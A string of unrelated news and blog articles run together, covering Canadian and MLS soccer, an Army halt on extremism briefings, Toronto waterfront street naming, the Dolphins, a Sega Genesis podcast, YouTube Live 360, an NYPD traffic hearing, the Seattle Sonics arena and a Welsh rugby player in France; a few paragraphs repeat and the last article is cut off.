scored 17 times for the Lions this season and is expected to win MLS Rookie of the Year, will join Canada for qualifiers against Honduras on Nov. 13 and at El Salvador on Nov. 17. "It is very important for me to play for Canada," Larin told CanadaSoccer.com recently. "It's important to show that soccer in growing in Canada and that we can make it to the next round (if we win) these matches. We want to show we're a great soccer country." Larin excelled in his first season as a pro, earning the starting job with Orlando City in April and scoring in 11 of his 27 appearances. Larin's 0.80 goals per 90 minutes ranked only behind Robbie Keane among goalscorers who played at least 12 games. The full Canada team: Goalkeepers: Simon Thomas, Strommen IF (Norway); Milan Borjan, PFK Ludogorets Razgrad (Bulgaria); Kenny Stamatopoulos, AIK Fotbol (Sweden). Defenders: Fraser Aird, Glasgow Rangers (Scotland); Samuel Adekugbe, Vancouver Whitecaps; Andre Hainault, FC Magdeburg (Germany); David Edgar, Sheffield United (England); Dejan Jakovic, Shimizu S-Pulse (Japan); Wandrille Lefevre, Montreal Impact; Karl W. Ouimette, New York Red Bulls. Defender-Midfielders: Marcel De Jong, Sporting Kansas City; Adam Straith, Fredrikstad FK (Norway). Midfielders: Julian de Guzman, Ottawa Fury FC; Russell Teibert, Vancouver Whitecaps; Will Johnson, Portland Timbers; David (Junior) Hoilett, Queens Park Rangers (England); Tosaint Ricketts, Boluspor FC (Turkey); Atiba Hutchinson, Besiktas (Turley); Samuel Piette, Deportivo La Coruna (Spain); Tesho Akindele, FC Dallas; Kianz Froese, Vancouver Whitecaps. Forwards: Lucas Cavallini, CA Fenix (Uruguay); Cyle Larin, Orlando City SC. Email at ptenorio@tribune.com. For more soccer news, visit OrlandoSentinel.com/OnThePitch or follow on Twitter @oslions.The Secretary of the Army has ordered military leaders to halt all briefings on extremist organizations that labeled Evangelical Christian groups as domestic hate groups. The shutdown comes just four days after I reported exclusively about a briefing at Mississippi’s Camp Shelby that labeled the American Family Association as a domestic hate group. “On several occasions over the past few months, media accounts have highlighted instances of Army instructors supplementing programs of instruction and including information or material that is inaccurate, objectionable and otherwise inconsistent with current Army policy,” Army Sec. John McHugh wrote to military leaders in a memorandum I obtained. McHugh “directed that Army leaders cease all briefings, command presentations or training on the subject of extremist organizations or activities until that program of instruction and training has been created and disseminated,” Army spokesman Col. David Patterson, Jr., tells me. [pullquote] The Chaplain Alliance for Religious Liberty welcomed the news and said it was about time the Secretary of the Army intervened. “Men and women of faith – who have served the Army faithfully for centuries – have been likened to those who regularly threaten the peace and security of the United States,” said Ron Crews, executive director of the Chaplain Alliance. “It is dishonorable for any U.S. military entity to allow this type of improper characterization.” The Camp Shelby incident led five congressmen to fire off a letter to the Pentagon expressing their grave concerns. “This most recent mislabeling of a Christian organization reflects what appears to be a troubling trend of religious intolerance in the military,” Rep. Doug Lamborn wrote in a letter signed by Reps. Tim Huelskamp, Steve Scalise, John Fleming and Joseph Pitts. “We are very troubled.” The Army issued a statement refuting the claims made and photographed in the briefing after it was reported in my column. The Camp Shelby briefing was one of a number of incidents on Army bases around the nation where soldiers were instructed that groups like the American Family Association and Family Research Council should be considered domestic hate groups because of their support for traditional marriage. Last week soldiers at Fort Hood were warned that participating in or donating money to evangelical Christian groups or Tea Party groups could result in military punishment. And last May an Army Reserve training brief listed Catholics and Evangelical Christians as examples of religious extremism. That incident prompted 34 members of Congress to raise objections. The Army repeatedly told me the briefings were isolated incidents where instructors used materials that were not approved by the military. McHugh said the instructors used material that is “inaccurate, objectionable and otherwise inconsistent with current Army policy.” He referenced recent “high-profile” cases where Army instructors found information online and included it in their presentations. “The groups identified in the instruction were not ‘extremist’ organizations as that term is defined in Army Regulation,” McHugh wrote in his memorandum. So where did the Army instructors get their talking points? “None of these slides were produced by the Army, but by soldiers who included information found during an Internet search,” Patterson told me. “The Army does not maintain or publish a list of organizations considered extremist; and after a similar incident earlier this year, commanders and other leaders were cautioned that they should not use lists of ‘extremists,’ ‘hate groups,’ ‘radical factions’ or the like compiled by any outside non-governmental groups or organizations for briefings, command presentations, or as a shortcut to determining if a group or activity is considered to be extremist.” But the Army does provide a list of organizations that do list groups like the AFA and FRC as domestic hate groups – specifically the Southern Poverty Law Center. And the SPLC is featured in the military’s Equal Opportunity Advisor Student Guide. The Chaplain Alliance uncovered that information through a Freedom of Information Act request. Crews wants the Army to stop using any materials from the SPLC. “The SPLC has labeled many mainstream religious organizations as hate groups,” Crews said. “Reliance on lists produced by anti-Christian political organizations violates the apolitical stance necessary in the military.” So to correct the problem, McHugh has directed leaders to create a standardized program of instruction and training. “Given these recent developments, it is clear that we must act to standardize such programs of instruction and training plans to ensure consistency with Army policy,” McHugh wrote in his memorandum. He wants the revised policies to be completed by December 13.\| by Devon Johnson \| With the ongoing multi-year revitalization of Toronto's waterfront underway, new neighbourhoods are popping up along the lake. Once the site of industry, brownfield lands are now being revitalized with new homes, businesses, and parks. Just to the east of the new Sherbourne Common park will lie Bayside. The 10-acre neighbourhood will be the home of Aqualina at Bayside, a condominium development from Hines and Tridel, where construction is now starting up. The neighbourhood will include more condominiums, affordable housing, a pair of office buildings, a neighbourhood green space called 'Aitken Place Park', a tree-lined 'Water's Edge Promenade', and many shops and restaurants along a landscaped and U-shaped main street. Main Waterfront Drive's name being voted on; courtesy of Last month, Waterfront Toronto invited the public to send name suggestions for the main street, and over a two-week period over seven hundred names were sent in. After being reviewed by a Selection Committee, Waterfront Toronto has narrowed the submissions to seven names. The shortlist is: - Aquaview Crescent - Azure Drive - Edgewater Drive - Kanadario Way (from the Iroquois word meaning "sparkling" or "beautiful" water) - Merchants' Wharf (for the wharf which was once located in this area) - Water Street - Wendat Way (references the Wendat people, also called Huron) Rendering of the Bayside neighbourhood; courtesy of Waterfront Toronto Voting is now on and runs until May 1st. The winning name will be announced on May 5, 2014, and will then be submitted to the City of Toronto for official approval. What do you think of the list of names chosen? Tell us your favourite choice in the comments below—and don't forget to have your say and vote!INDIANAPOLIS -- Joe Philbin is a planner. He's a professor. He's logical. He's not big on emotion. Basically, he's a vulcan without the pointed ears. He definitely showed the media no self-satisfaction in beating the Indianapolis Colts, 24-20, on the road on Sunday despite it being perhaps his best victory as a Dolphins coach. Indeed, near the end of an emtionless press conference, I asked him if he was even happy he won. "Absolutely, yeah" he said looking away, "real proud of the guys. Can't you tell?" His wife, standing off to the side watching the presser, was among those who laughed. But just before that presser, in the confines of the locker room right after the game, Philbin actually said something that was interesting. Yes, he read his bullet points off his card to the players as he often does in his postgame speech -- told you he's professorial -- but when he turned away from his notes he announced to his players: "We got a helluva team in the making!" Read that again. "We got a helluva team in the making!" Now, it's one thing if that's outspoken Pete Carroll saying that because Carroll looks at a Kia and thinks it has a chance to be a helluva Cadillac. That also wasn't emotional Jimmy Johnson. That wasn't Rex Ryan bragging as has been his style. That was understating, undemonstrative, stoic Joe Philbin going all bright future on us. And that speaks... No, that yells... It yells volumes about what the coach thinks is the celing for his young team. As I wrote for Monday's Miami Herald, the Dolphins aren't quite yet a certain playoff team. You shouldn't be buying Super Bowl tickets yet. But the Dolphins now are relevant. They are rolling and about to gain more attention because they finally have playmakers as the game-clinching sack by Phillip Wheeler (Courtesy a Joe Rimkus photo) showed. And they're growing and becoming a good team. I'm an outsider and I can see it. Philbin, on the inside, obviously thinks it. This team is headed in a good direction. And by the time the journey is done, the Dolphins might indeed be "a helluva team."Nerdy Show Microsode: Genesis Does What Nintendon’t Posted by NerdyShow on December 7, 2016 When The Nerdy Show Network’s flagship podcast isn’t unloading on the latest geek news and happenings, we’re diving deep into super-specific discussions and interviews. Ah, the holidays. That magic time of the year when your parents are most likely to cave in and buy you something super-expensive. If you’re on this website, chances are good that more than once that premium gift was a gaming console. But when you peeled back the wrapping, what was underneath? In the early 90s, the console you had was more than a portal to indoor adventure – it was a way of life. Were you a Nintendo kid, or were you a radical, shades and denim wearin’ embodiment of coolness: a Sega kid? Join clean-cut Nintendo kids Cap and Brandon, and too kool 4 skool Sega kids, Wicked Anime‘s Andrew and Jonathan, as we revisit the console wars and an insane era of home entertainment experimentation. With the Genesis, Sega tried out every absurd concept they could think of to push the medium one step farther. You could trick out your Genesis with a Master System adapter, the Sega CD, 32X, 3D glasses… and that’s just for starters. In this episode we discuss Genesis culture, the games, the portables, the hardware, and freaky franken-systems you never knew existed. Thanks to Anthony Rubbert for this Microsode request! Track: Download from the player above \| Subscribe via iTunes Support Nerdy Show! Links:Chris Wondolowski scored twice and Innocent Emeghara added another as the 10-man San Jose Earthquakes survived goals from Clint Dempsey and Obafemi Martins to win 3-2 at CenturyLink Field on Saturday night. Chris Wondolowski scored twice and Innocent Emeghara added another as the 10-man San Jose Earthquakes survived goals from Clint Dempsey and Obafemi Martins to win 3-2 at CenturyLink Field on Saturday night. Here are my first impressions: – The Brad Evans experiment had a rough night. Earlier this week, converted Seattle center back Brad Evans lavished Wondolowski with praise. Evans complimented both the San Jose striker’s intelligence and movement, as well as his nose for goal. Wondolowski proved Evans right on Saturday – to the Seattle captain’s detriment. The ‘Quakes forward first beat Evans to a ninth-minute free kick that was bouncing around the box, winning an aerial battle only to head his shot off the underside of the bar. A few minutes later, Wondolowski evaded his markers in the box and made no mistake. Evans mistimed his jump and the forward turned Marvell Wynne’s cross into the back of the net to knot the score at one. Early in the second half, Evans attempted to play a simple headed back pass to goalkeeper Stefan Frei – only to watch helplessly as Wondolowski got to it first and hammered the ball home to put the visitors in front. It got worse. A red card to Victor Bernardez reduced San Jose to 10 men for the final 35 minutes and change, but with 20 minutes to go, Emeghara juked inside Evans and fired inside the far post to make it 3-1. This was always going to be a stiff test for Evans in just his second game as a full-time defensive starter. Wondolowski’s positioning and San Jose’s surprising fluency on the ball made for a long Saturday night. – Seattle was ready to play – at first The Sounders looked loose and confident prior to kickoff, bouncing on the soles of their feet, itching for kickoff. It took them just 18 seconds to put that positive energy to good use, as Tyrone Mears fired Lamar Neagle’s cross on net and Dempsey headed the rebound over the line. Dempsey’s goal was the fastest in Sounders history – at least in the MLS era – edging out Eddie Johnson’s goal against Colorado in 2011 by more than a minute-and-a-half. Gradually, though, that energy began to wane. Martins tapped in a feed from Andy Rose with six minutes to go, but that proved nothing more than a consolation prize. San Jose actually had more of the ball through the opening half hour and out-shot the Sounders 7-3 in the first half. It continued to fight after the break. – Make no mistake: This is a bad loss. Entering Saturday, San Jose hadn’t won an MLS match since Aug. 2, 2014. Its last win? 1-0 over Seattle at Levi’s Stadium. The ‘Quakes managed just two shots on goal in an opening-night loss to F.C. Dallas. Even with this win, San Jose is a long shot for the playoff places in the West. This result takes plenty of the shine off Seattle’s own 3-0 win against New England last weekend. Both the players and coaches talked this week about staying level-headed, about never getting too high or too low. This is MLS, where parity remains. Saturday night provided a particularly painful reminder.For YouTube, Live 360 content is the gateway drug between what most people watch today and the immersive era of virtual reality that is just getting underway. "As a user, you don’t need to do anything," says Mohan. Open the YouTube app on your mobile device or launch it on the web and you’re ready to go. "There is no fancy technology to purchase or integrate." That’s a not so subtle jab at Facebook’s Oculus Rift, which offers cutting edge virtual reality, but retails for $599, not counting the $1,000 gaming PC that powers it. Mohan’s announcement arrives just one week after Facebook unveiled its plans for expanding live-streaming and its own design for a 360-degree camera, although it can't yet support the combination of live and 360. The two biggest players in online video are racing toward the same goal: completely immersive entertainment that transports the viewer to another world. But they are taking strikingly different paths to get there. Like any Bay Area resident with a pulse, Neal Mohan is a big fan of the Golden State Warriors, but as a busy Google executive, he can’t make every home game in person. "That courtside seat is limited by the laws of physics," says Mohan ruefully. Luckily, he won’t be bound by those rules for very long. This morning, in front of the biggest players in broadcast media, Mohan took the wraps of YouTube’s newest feature: live-streaming, 360-degree video. "Now anyone, with just their phone, can have that front row experience without having to be there." 360 video is now relatively cheap to make Consumption is one side of the puzzle, creation is the other. At launch, YouTube’s Live 360 product will work with cameras that cost as little as $350, far less than the $17,000 it would cost to build the open-source hardware Facebook showed off at F8. YouTube is also releasing an API so any hardware maker can integrate Live 360 into their product. And it’s deploying 360 cameras to its YouTube spaces so creators can start playing with this new feature. Mohan believes it will soon be possible for consumers to get in on the game. "Right now it’s specialized hardware," he explains. "But you know how these things work from a technology curve standpoint. We think we need to have a handful of flagship experiences and then as hardware tech takes off, it will spread out more broadly." Mohan, who spent eight years working on Google’s advertising products, was recently tapped as one of CEO Sundar Pichai’s top lieutenants, promoted to senior vice president, and given the role of chief product officer at YouTube. Listening to him talk about the possibilities for Live 360, it’s clear his new role is exciting in a way programmatic ad auctions might not have been anymore. There was the experience of walking through a faraway jungle, and the one where he sat inside a fireworks display. The Verge will be premiering the first 360 live stream on YouTube this Wednesday with Dawn Richard. "Those are the kinds of magical experiences this technology is going to be able to create," he says with a beaming smile. "Without having to spend money on some fancy headset." 360 video launched on YouTube in March of 2015 and arrived on Facebook in September of that year. But it has actually been around for more than decade. "We’ve seen this before in the multimedia age," says Miles Perkins, who worked at Industrial Light & Magic and Lucasfilm before joining Jaunt VR. "The 360 Quicktimes, if you even remember that." Drawing a line between 360 and VR Dan Rayburn, an industry veteran, was working on 360 videos during the dot-com era. "The real question is, is it a gimmick? Will people feel immersed or will they be annoyed to see the back of the performer’s head? I think a lot of people do it once and think, oh cool, and then never come back." That was in the days when your only option was a desktop PC and a mouse. "The problem was that there wasn’t a great way to consume it, and it didn’t look great. Maybe the hardware today will change that, but I don’t think so. Not yet." Dan Rayburn, an industry veteran, was working on 360 videos during the dot-com era. "The real question is, is it a gimmick? Will people feel immersed or will they be annoyed to see the back of the performer’s head? I think a lot of people do it once and think, oh cool, and then never come back." That was in the days when your only option was a desktop PC and a mouse. "The problem was that there wasn’t a great way to consume it, and it didn’t look great. Maybe the hardware today will change that, but I don’t think so. Not yet." Lots of 2D, monoscopic 360 video is labeled as VR, but Perkins is quick to draw distinction. "For people in VR, there is a little bit of annoyance about it, like, let’s clearly define these two things. There are a lot of people who experience 360 video and assume its VR, and it so isn’t." Many in the industry see 360 as a useful stepping stone, something that will play a critical role in helping the fledgling VR industry get off the ground, even if it’s not really what the medium was intended for. "I think 360 video is good to fill the VR content gap," wrote Alban Denoyel, co-founder & CEO of the 3D-imaging startup Sketchfab, in an email to The Verge. "But in its essence, 360 video is a format of today (flat video) stretched to fit platforms of tomorrow (VR)." Others see shades of grey, with 360 video and true VR existing on a continuum of immersive quality. "As you start incorporating features like 3D, stereo 360, and spatialized sound, then you have something you really get lost in, and feel like you’re present in that space," said Aaron Koblin, the chief technical officer of the VR startup Vrse. "To me that’s where it gets really exciting, and where it starts to get blurred, between whether it's 360 video still, or whether it’s starting to become a VR experience." Onstage at F8 last week, Mark Zuckerberg conflated the two as he charted the evolution of preserving and sharing memories. "When my nephews took their first steps, my sisters took photos and videos on her phone, so she could send them to us," he told the crowd. "And when my daughter Max takes her first steps, hopefully later this year, I want to capture the whole scene, with a 360 video, so I can send it to my family and my friends, and they can go into VR, and feel like they’re actually right there in the living room with us." Streaming live in 360 is still a technical challenge While recording in 360 is fairly accessible now, making it look good live is not so simple. "It’s something we can do for customers now, but we mostly try to talk people out of [attempting live 360 video]," says Henry Stuart, the CEO of the immersive video company Visualise. "Most consumers, their internet speed is so poor, the image ends up getting really compressed. In VR that looks especially bad." To make Live 360 work, YouTube is announcing a slew of technical changes today. It’s upping the the resolution and frame rate that creators can send to 1440p and 60 frames per second. It’s also turning on support for DASH and VP9 ingestion, which in layman’s terms means broadcasters will need to send about half as many bits to deliver a super high-quality stream. And 360 videos viewed on Android can now have directional sound. Right now live 360 doesn't support directional audio or stereoscopic (3D) video. But you can see how adding these two features would be the next logical step. YouTube announced 360 video in March of 2015 and support for 3D 360 eight months later. It took another six months to get support for Live 360 now, and as the technology becomes cheaper and more powerful it will almost certainly move to support Live 360 video with 3D depth and directional sound — the kind of high-end broadcast that NextVR is bringing to live basketball and boxing for Fox Sports. "You’re spot on," said Kurt Wilms, a senior product manager at YouTube VR and Live, when I asked about that roadmap. "We’re going to continue to push the boundaries and explore." That approach — launch first, improve later — mirrors the strategy Google has put in place for VR hardware as well. Cardboard isn’t in the same league as the Oculus or Vive, but it has also shipped over five million units, several orders of magnitude more than its high-end competitors. NextVR has a more immersive live 360 stream, but it charges a pretty penny for that service, and carries its gear around in a large broadcast truck. YouTube will start out working with cameras like the $350 Ricoh Theta, the $500 ALLie, and the $1,800 Orah 4i. "This will work with the kind of high-end cameras that folks like Next VR, but the cool thing is, this will also work with low-end stuff like a Theta," says Wilms. "You can live stream 360 of your kids concert, or set up a camera next to the sideline of a soccer game and stream it 180." Google wants VR to be accessible, not perfect Support for Live 360 is also leading up to Google’s I/O conference next month, when it is widely expected to unveil its plans for the next generation of VR on Android. We don’t know for sure, but it would make sense for this device to sit somewhere between Samsung’s Gear VR and higher-end devices like the Oculus. With the spatial awareness technology of Support for Live 360 is also leading up to Google’s I/O conference next month, when it is widely expected to unveil its plans for the next generation of VR on Android. We don’t know for sure, but it would make sense for this device to sit somewhere between Samsung’s Gear VR and higher-end devices like the Oculus. With the spatial awareness technology of Project Tango, Google has already shown us that it can do really interesting VR with just a tablet strapped to your face, requiring none of the wires, motion sensors, or external processors you need for a Rift or Vive. In a lengthy interview published this week, Clay Bavor, the head of Google’s VR efforts, reaffirmed that it wants ordinary smartphones to be at the center of its VR experience. "Sure, we could go do that," Bavor said, of an expensive and immersive headset complete with wires and a sensor array. "But it doesn’t lead directly to bringing this technology — and the best seat in the house, anywhere — to the world." Lenovo announced a phone with Project Tango for under $500 at CES this year, and new chips from companies like Movidius are giving mobile devices the ability to see and understand the world around them. 360 video already IS virtual reality for most I got a sense for the role 360 video will play in VR firsthand while trying to introduce this new technology to my parents. Their first experience with virtual reality arrived on their doorstep, I got a sense for the role 360 video will play in VR firsthand while trying to introduce this new technology to my parents. Their first experience with virtual reality arrived on their doorstep, a Google Cardboard packaged along with the paper edition of The New York Times. They are retirees, both in their 60s, at a healthy remove from the cutting edge of modern technology. My mom finally ditched her flip phone only a year ago. My dad still uses AOL for his email. My parents were willing to give virtual reality a spin, but only with me there as a guide. I walked them through setup and cued up the video, but once it was on, they had no trouble interacting with the 360-degree experience. Watching them smile, laugh, whoop, and cringe, it was clear they felt the magic that has made so many excited about the revitalized VR industry. Later I offered to let them try a game on the Samsung Gear VR, but they weren’t interested in the slightest. Neither ever managed to learn so much as a NES controller, the thought of being immersed in a video game was overwhelming. This is the big, broad audience YouTube is after with Live 360. Mohan puts it this way: "We leave the real technology choices to our users. You could enjoy it with your phone as they are, but we have enabled integration with Cardboard. If the video is shot in virtual reality mode with depth and spatial sound, that enhances it further." The goal is to deliver something that will feel like magic to the biggest audience possible. YouTube, says Mohan, is "trying to find a way to do this at scale, so we are democratizing this innovation, and making it easily accessible." Photos by Vjeran PavicNYPD’s Lax Crash Investigations May Violate State Law Unacceptable. Absurd. “Next to useless.” Those were just a few terms employed by City Council members today describing the NYPD approach to traffic enforcement. During a four-hour hearing, so packed with spectators and media that some were pointed to an overflow room to listen to testimony, council members grilled department brass on traffic crime prevention and crash investigations and questioned the low number of charges brought against drivers who injure and kill. Council members also heard heartrending testimony from victims of vehicular violence. The hearing was co-chaired by James Vacca and Peter Vallone, who chair the council’s transportation and public safety committees, respectively. “Driving in our city is a privilege, not a right,” said Vacca. In his opening remarks, Vacca noted that New Yorkers are more likely to be killed by a speeding driver than a drunk driver, and said that more city pedestrians are struck walking with traffic signals than against. “I want to know that the police department is doing to track down these scofflaws,” said Vacca. “We have to bring these people to their senses. We don’t accept gun violence as a way to die. We shouldn’t accept traffic deaths as a way to die either.” NYPD officials remained on defense for most of the hearing, as they were quizzed by council members in sometimes heated exchanges. Most questions were fielded by Deputy Chief John Cassidy, executive officer of the department’s transportation bureau. Here are some highlights: Vacca asked if police currently charge drivers who speed or are involved in crashes with reckless endangerment, which Vallone — a former Manhattan prosecutor — said could be done with no changes to existing law. Susan Petito, a senior attorney for NYPD, responded that such data is not segregated, and the department therefore couldn’t say. More generally, Petito said that while reckless endangerment is “available as a tool,” police can’t normally determine probable cause if they don’t witness a violation. NYPD applies the same principle to VTL 1146, the statute that includes Hayley and Diego’s Law as well as Elle’s Law. NYPD protocol mandates that for an officer to issue a ticket under 1146, the officer has to witness the violation. An amendment to Hayley and Diego’s Law aims to close that loophole. Council members learned that there are just 19 investigators on the NYPD Accident Investigation Squad, and that there can be as few as one investigator on duty, depending on the shift. Since department protocol limits the use of the AIS to cases where the victim is killed or is deemed likely to die, and local patrol officers are not trained to perform in-depth crash investigations, cases that involve injuries that are not considered life-threatening receive only cursory attention. When asked by Vallone how it could be that a cyclist or pedestrian could have both legs broken with no possibility of charges against the driver, Cassidy replied, “I don’t set policy.” Public testimony from Steve Vaccaro, the attorney representing the family of cyclist Mathieu Lefevre, revealed that NYPD policy violates the law by deploying the AIS only in cases where the victim is killed or is deemed likely to die. “Vehicle and Traffic Law Section 603A requires that a fullscale AIS style investigation be made in all cases of fatality or serious physical harm,” Vaccaro said. “The NYPD patrol guide ignores this.” As NYPD officials had left the room by the time Vaccaro testified, Vallone said he would ask how the department wasn’t “breaking this law on a daily basis.” Council Member Jessica Lappin got into an animated discussion with Petito over traffic crash data. When Lappin asked why NYPD is releasing data in PDF form — and only after the council adopted legislation forcing the department to do so — Petito replied that the department is “concerned with the integrity of the data itself.” Petito said NYPD believes data released on a spreadsheet could be manipulated by people who want “to make a point of some sort.” An
other events. From the site: Sonics Fans, It's time to remind our elected officials how much support there is to BRING BACK OUR SONICS. Throughout this long review process we’ve been driven by your passion for returning the NBA and NHL to Seattle. Now we’re asking you to once again show the Seattle City Council just how passionate you are. The City Council will soon vote on whether to approve a "street vacation" for a section of Occidental Avenue South between S. Holgate Street and S. Massachusetts Street (see map below). This vote is a common procedure for when a publicly owned street is turned over for private use because a project — in this case, the Arena — has a public benefit. In fact, the Seattle Mariners received a similar street vacation before building Safeco Field. To show your support for the arena, please sign our petition urging the City Council to approve the street vacation. This is an important step, since it will make the Arena "shovel-ready" and send a strong message that our city is ready to welcome back the NBA and NHL. One more thing: If you can make it, come down to City Hall on Tuesday, March 15 at 5:30 pm to show the City Council how much support there is to bring the NBA and NHL to Seattle! – The Sonics Arena Team If the past is any indication, the numbers should be good. The last time Chris Hansen asked people to sign up for something, he received 44,877 requests for season tickets. "In addition to significantly exceeding our expectations, you all have sent a very clear message that all Sonic fans know in their hearts… that Seattle has and always will be a GREAT basketball city," Hansen wrote at the time. If the numbers are similar this time around, the City Council will know where the people stand, and that's firmly in the camp that wants the Sonics back. Game time.Get the biggest rugby stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email He’s the Welshman who plays week-in, week-out in the French Top 14 and has made more tackles in the competition than anyone else this season. He runs out in front of huge crowds and lines up against the likes of Dan Carter, Bryan Habana, Duane Vermeulen, Ma’a Nonu, Sergio Parisse and Conrad Smith. And yet Luke Hamilton found himself surplus to requirements back home in regional rugby, consigned to life in the semi-pro Premiership. By any standards, it is a remarkable story. The young man from Pembrokeshire remains a little known figure in Wales and has nothing like the profile of those household names who have headed across the channel in recent years. Read more: The life of injured Leigh Halfpenny in his own personal pictures No chances with the Blues... But he has certainly made his mark for Agen, helping them to promotion from Division Two last season and emerging as one of their shining lights in the Top 14 this term. And, along the way, he has gone through experiences which have left him with one heck of a tale to tell about the crazy, madcap world of French rugby. It was back in the spring of 2014 that the former Wales U20s back rower decided to try his luck on foreign fields. Having been released by the Scarlets as a teenager, he had moved to Cardiff Blues, but was finding opportunities very limited there too and having to settle for turning out for the Cardiff club side. Read more: The young Welsh rugby talents destined for stardom who haven't fulfilled their promise (yet) “That last season I didn’t really play much for the Blues. I had maybe three games, whereas the season before I had played quite a bit,” he explained. “It was difficult at the time. I was sick of going down there for training and then playing with the club side every week. I wasn’t really enjoying my rugby. “I didn’t really get any explanation or any reason why I wasn’t getting a chance with the Blues. “I thought if I kept playing for Cardiff and kept trying to do something I might get a chance. But then it got to about the January and I realised I wasn’t going to feature and I kind of gave up on it happening. “I was coming to the end of my contract and I wanted to go somewhere and play. “I spoke to my agent and he was going through the options and said ‘what do you think of France’? I said I would be open to it, without really thinking anything would happen. “But then I had a phone call and within a week I went over there and pretty much signed. It was all done quite quickly. I don’t think it really sunk in until I finished with the Blues and I was thinking I actually have to go to France now!” Read more: Make EVERY Welsh Premiership club install a plastic pitch, says Sir Stanley Thomas as Merthyr RFC move to the brink of promotion (Image: Huw Evans Picture Agency) 'I spotted Philippe Sella, so I introduced myself' During his playing days in Wales, Hamilton had been notable for his shock of blond hair, but when he arrived out in Agen for the first time, he’d had a severe haircut, leading to some initial confusion in the arrivals lounge, if you can call it that. “I don’t know how you would describe Agen airport,” he said. “It’s probably like Haverfordwest Airport in Pembrokeshire, with about one flight a day. It’s just one room and security is one guy who checks your passport. “I was sat there waiting, expecting to see someone there to meet me. “But there were just these five blokes sat opposite, looking blankly at me. “Then I recognised Philippe Sella and I thought that must be them, so I introduced myself. “I think they must have had a bit of a shock because I was virtually bald. “They were probably thinking this isn’t the guy we’ve signed, this is someone completely different!” For a young man of just 22, with no grasp of the French language, it was certainly a bold venture into the unknown. “I had no-one with me, no commitments, nothing, just me and my three big bags,” he recalled. Read more: The thrilling Wales under-20s Grand Slam star who will link up with Cardiff Blues next season “I was anxious, nervous and excited all at the same time. I went through all three emotions at different times of the day. “I was a bit nervous about the language and not being able to understand anyone, but there was a good group of foreign players at the club that pretty much did everything for me. “They got my Sky TV sorted and once I had my TV and my play station I was fine. “I have lived away from home now since I was 16, so it wasn’t too bad. More than anything, I was just excited to get out there and try something different. It was a fresh start.” 'Three of our props started head-butting each other in the showers!' And different it certainly was, as he discovered with his first taste of rugby French style. “My first home game was against Narbonne. I remember being in the changing room beforehand and our Irish hooker Dennis Fogarty saying to be careful and sit down. “I asked him ‘what do you mean’, but he said ‘just sit down out of the way’, so I said ok. Read more: This is the Ospreys XV that could line up next season as Bradley Davies moves close to joining them “I didn’t know what was going on, but then the next thing I knew the forwards coach dragged three front rowers into the showers and they started head-butting each other! I remember sitting back, looking at Dennis and saying ‘are you serious?’. “It’s very old school the way they prepare for things. It’s quite amusing to watch. “We played Racing 92 this season and the boys were on the headbutting case again. Our loose-head prop split both of his eyes before he went out for kick off. He was running out down the tunnel and he was covered in blood! “As soon as the game began, he had to go off and get stitched up. “I’ve managed to avoid the head-butting and now they just leave me alone to do my own thing. Sella likes to come over every now and then and give me a little head-butt, but that’s not too bad, because he was a back.” Fighting within a minute of the kick-off Given what it’s like in the dressing room, it’s hardly surprising to hear that things can really get out of hand out on the pitch. “I remember we lost a couple of scrums in one match and the plan for the next game was that if there was a problem there, we’d get up and fight,” revealed Hamilton. “I thought it can’t be serious, it must be a joke, but then the next thing I knew the front row were all going at it, fighting probably within a minute of the kick-off. “Some of the teams in Division Two were quite dirty. There are a few lunatics in that league who don’t want to play rugby, they just want to fight. “You go to some places and you expect to get jumped on, gouged and take a few cheap shots. “We played Biarritz away and that was probably the biggest fight I have seen on a rugby field. It was 15 against 15, plus a few management came in. “In those situations, I have got a technique. I always go for an islander or a foreign player. We just grab each other for a bit and pretend we are doing something. “Against Biarritz, there was another fight and our tight-head prop was against four of their forwards. I thought I couldn’t leave him, so I got in there and kind of broke it up. “We had a video session then on the Monday, where one of our coaches paused the video and gave a 10 minute explanation on how well me and the prop did and called out every other single player for not getting in there and fighting! “He spent more time on the scuffle than anything else in the game. “They tend to be very lenient on fighting out here. It’s part of the culture and part of the rugby. You tend to only get a one week ban for punching, whereas it can be five or six weeks back home.” 'We got off the bus at Perpignan and people were blocking us' It’s not just the opposition players who get fired up, as Hamilton learned pretty early on. “My first away game was at Perpignan on a Friday night,” he said. “It was the return of their No 8 Henry Tuilagi, who is a bit of a legend down there, and there was something like 20,000 people at the ground. “When we were getting off the bus, they were blocking you and pushing people in your path. I was thinking ‘this place is horrible’. “They called out Tuilagi’s name on the mic during the warm-up and the place just erupted. The atmosphere was crazy. “I remember before the kick-off people were spitting at me and throwing bottle caps at me and shaking the cage. “Then Tuilagi caught the ball and went on this run and I’ve never heard a noise like that at club ground in my life.” For Hamilton, who has played right across the back row for Agen, it’s been a case of getting used to a totally different rugby culture, both on and off the field. Rugby before weights...unlike in Wales “The biggest shock for me was how old school they are in what they do and how very laid back they are,” he said. “Fitness is not really the priority it is in Wales. You wouldn’t want to be in training back home because it’s that horrible. “I remember after one session at the Blues, grown men were crying because they couldn’t walk. “We do a bit here, but compared to back home, it’s nothing. Here, it’s all about the game, which I quiet like. “You play some games back home and you’re still tired from the fitness and the weights you’ve done in the week. “Weights are second here and rugby is first, whereas sometimes back home it’s the other way round. “Everything with the team is done a lot more closely together out here. It’s about spending as many hours together as you can “Then, on the field, it’s very physical and very fast. I couldn’t get over the speed in the Top 14 and the sheer size of people. “It’s all about scoring tries and points, whereas the Pro12 is all about not conceding points and putting a lot of pressure on other people. Over here, attack comes first and then defence. Back home, I’d say it’s the other way round. It’s very different.” Facing a back row of Gorgodze, Lobbe and Vermeulen As it happens, in an attack-orientated competition, Hamilton has made his name in defence, leading the way in terms of tackles made across the league. “You don’t want to be embarrassed or run over by someone, even if they are three times the size of you,” said the 24-year-old, who picks out Montpellier’s Springbok No 8 Pierre Spies as the best player he’s faced in France. “For me, it’s a lot to do with pride. There is nothing worse than if someone runs over you and you are on the floor. “Nowadays, if that happens, it’s all over Twitter and Facebook within about an hour. “The majority of the best back rowers in the world are playing in the Top 14. “When we played Toulon, their back row was Gorgodze, Lobbe and Vermeulen! I wanted to show I could play against people like that. “I have pretty much played every game, 80 minutes, and I have really enjoyed it.” Despite Hamilton’s Herculean efforts, Agen look likely to be relegated, so with his contract running out at the end of this season, he has a big decision to make. (Image: Getty) 'People go out for lunch every day of the week' But he knows he would like to remain in France, with returning to Wales not on the agenda. “I enjoy the lifestyle out here. It’s nice and hot. You are not training in the cold and the rain,” he said. “The culture is so different. People go out for lunch every day of the week. “The language was difficult at first. But it’s 